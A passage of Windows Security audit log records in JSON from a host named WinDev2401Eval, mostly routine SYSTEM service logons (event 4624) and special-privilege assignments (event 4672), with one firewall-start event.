","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.329406Z"}},"EventRecordID":21341,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.333716Z"}},"EventRecordID":21342,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.333719Z"}},"EventRecordID":21343,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.360993Z"}},"EventRecordID":21344,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.360998Z"}},"EventRecordID":21345,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5033,"Version":0,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.380597Z"}},"EventRecordID":21346,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":120}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.400188Z"}},"EventRecordID":21347,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.400202Z"}},"EventRecordID":21348,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.427938Z"}},"EventRecordID":21349,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.427942Z"}},"EventRecordID":21350,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.429255Z"}},"EventRecordID":21351,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.429258Z"}},"EventRecordID":21352,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.431160Z"}},"EventRecordID":21353,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.431163Z"}},"EventRecordID":21354,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.432880Z"}},"EventRecordID":21355,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.432883Z"}},"EventRecordID":21356,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.445661Z"}},"EventRecordID":21357,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.445665Z"}},"EventRecordID":21358,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.470699Z"}},"EventRecordID":21359,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.470713Z"}},"EventRecordID":21360,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.472361Z"}},"EventRecordID":21361,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi 